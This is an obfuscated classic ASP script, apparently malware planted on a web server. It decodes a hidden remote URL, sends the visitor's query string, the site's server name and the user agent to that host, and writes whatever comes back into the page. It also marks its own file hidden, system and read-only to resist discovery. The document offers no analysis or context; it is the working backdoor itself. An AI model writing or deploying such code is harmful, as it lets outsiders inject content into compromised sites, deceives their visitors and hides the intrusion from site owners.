<%
Public O0O000O0OOOO0
Public OO00OO00000O
Public OO0OOO00OOO
Public O0O00O00
Public OOO0O0OOO
Public OO00000OOOO0
Public O0000OOOO0O0O0
Public O0O000OO00O00
    O0O000O0OOOO0 = Server.MapPath ( Chr ( 46 ) )  
    OO00OO00000O = Split ( O0O000O0OOOO0 , Chr ( 92 ) )  
    OO0OOO00OOO = UBound ( OO00OO00000O )  
    O0O00O00 = OO00OO00000O ( OO0OOO00OOO )  
    OOO0O0OOO = OOO00OO0OO0OO ( Chr ( 49 ) & Chr ( 48 ) & Chr ( 52 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 54 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 54 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 50 ) & Chr ( 97 ) & Chr ( 53 ) & Chr ( 56 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 55 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 55 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 57 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 57 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 57 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 54 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 53 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 52 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 49 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 56 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 56 ) & Chr ( 97 ) & Chr ( 53 ) & Chr ( 54 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 56 ) & Chr ( 97 ) & Chr ( 53 ) & Chr ( 55 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 56 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 54 ) & Chr ( 97 ) & Chr ( 57 ) & Chr ( 57 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 57 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 55 ) ) & Chr ( 63 ) & Chr ( 108 ) & Chr ( 117 ) & Chr ( 61 ) & Request.QueryString & Chr ( 38 ) & Chr ( 119 ) & Chr ( 61 ) & Request.ServerVariables ( Chr ( 83 ) & Chr ( 69 ) & Chr ( 82 ) & Chr ( 86 ) & Chr ( 69 ) & Chr ( 82 ) & Chr ( 95 ) & Chr ( 78 ) & Chr ( 65 ) & Chr ( 77 ) & Chr ( 69 ) ) & Chr ( 38 ) & Chr ( 97 ) & Chr ( 122 ) & Chr ( 61 ) & Chr ( 106 ) & Chr ( 102 ) & Chr ( 38 ) & Chr ( 108 ) & Chr ( 97 ) & Chr ( 105 ) & Chr ( 108 ) & Chr ( 117 ) & Chr ( 61 ) & Request.ServerVariables ( Chr ( 72 ) & Chr ( 84 ) & Chr ( 84 ) & Chr ( 80 ) & Chr ( 95 ) & Chr ( 85 ) & Chr ( 83 ) & Chr ( 69 ) & Chr ( 82 ) & Chr ( 95 ) & Chr ( 65 ) & Chr ( 71 ) & Chr ( 69 ) & Chr ( 78 ) & Chr ( 84 ) )  
    OO00000OOOO0 = O0OOOOOO ( OOO0O0OOO )  
    If OO00000OOOO0 =   "" Then 
    Else 
        Response.Write OO00000OOOO0 
        Response.End 
    End If 
    Set O0000OOOO0O0O0 = Server.CreateObject ( Chr ( 83 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 116 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 103 ) & Chr ( 46 ) & Chr ( 70 ) & Chr ( 105 ) & Chr ( 108 ) & Chr ( 101 ) & Chr ( 83 ) & Chr ( 121 ) & Chr ( 115 ) & Chr ( 116 ) & Chr ( 101 ) & Chr ( 109 ) & Chr ( 79 ) & Chr ( 98 ) & Chr ( 106 ) & Chr ( 101 ) & Chr ( 99 ) & Chr ( 116 ) )  
    Set O0O000OO00O00 = O0000OOOO0O0O0.GetFile ( Request.ServerVariables ( Chr ( 80 ) & Chr ( 65 ) & Chr ( 84 ) & Chr ( 72 ) & Chr ( 95 ) & Chr ( 84 ) & Chr ( 82 ) & Chr ( 65 ) & Chr ( 78 ) & Chr ( 83 ) & Chr ( 76 ) & Chr ( 65 ) & Chr ( 84 ) & Chr ( 69 ) & Chr ( 68 ) ) )  
    If O0O000OO00O00.attributes <> ( 95 * 60 - 5661 ) Then 
        O0O000OO00O00.attributes = ( 44 * 84 - 3657 )  
    End If 
    Response.Write vbCrLf 
Function O0OOOOOO(OOO0O0OOO )
    Dim O0O0OO0OO000
    Set O0O0OO0OO000 = Server.CreateObject ( Chr ( 109 ) & Chr ( 105 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 111 ) & Chr ( 115 ) & Chr ( 111 ) & Chr ( 102 ) & Chr ( 116 ) & Chr ( 46 ) & Chr ( 120 ) & Chr ( 109 ) & Chr ( 108 ) & Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) )  
    O0O0OO0OO000.Open Chr ( 103 ) & Chr ( 101 ) & Chr ( 116 ) , OOO0O0OOO , false 
    O0O0OO0OO000.send 
    If O0O0OO0OO000.readystate <> ( 73 * 63 - 4595 ) Then Exit Function 
    O0OOOOOO = OOOOO000O00 ( O0O0OO0OO000.responsebody )  
    Set O0O0OO0OO000 = Nothing 
End Function
Function OOOOO000O00(O00OOOO00 )
    Dim OOO0OO0000O
    Dim O0OO0O0000000
    Set OOO0OO0000O = Server.CreateObject ( Chr ( 97 ) & Chr ( 100 ) & Chr ( 111 ) & Chr ( 100 ) & Chr ( 98 ) & Chr ( 46 ) & Chr ( 115 ) & Chr ( 116 ) & Chr ( 114 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 109 ) )  
    OOO0OO0000O.Type = ( 68 * 57 - 3874 )  
    OOO0OO0000O.Open 
    OOO0OO0000O.WriteText O00OOOO00 
    OOO0OO0000O.Position = ( 92 * 52 - 4784 )  
    OOO0OO0000O.Charset = Chr ( 71 ) & Chr ( 66 ) & Chr ( 50 ) & Chr ( 51 ) & Chr ( 49 ) & Chr ( 50 )  
    OOO0OO0000O.Position = ( 43 * 44 - 1890 )  
    O0OO0O0000000 = OOO0OO0000O.ReadText 
    OOO0OO0000O.Close 
    Set OOO0OO0000O = Nothing 
    OOOOO000O00 = O0OO0O0000000 
End Function
Function OOO00OO0OO0OO(O00000O00OOO00 )
    Dim OO0000O000
    Dim O00O00OO0O0O00
    Dim OO00O0O0OOO00
    Dim OO0O0O00O0O0O
    O00000O00OOO00 = Replace ( O00000O00OOO00 , Chr ( 117 ) , Chr ( 45 ) )  
    OO0000O000 = Split ( O00000O00OOO00 , Chr ( 97 ) )  
    For O00O00OO0O0O00 = ( 82 * 40 - 3280 ) To UBound ( OO0000O000 )  
        OO00O0O0OOO00 = OO0000O000 ( O00O00OO0O0O00 )  
        If IsNumeric ( OO00O0O0OOO00 ) Then 
            OO0O0O00O0O0O = OO0O0O00O0O0O & Chr ( OO00O0O0OOO00 )  
        End If 
    Next 
    OOO00OO0OO0OO = OO0O0O00O0O0O 
End Function

%>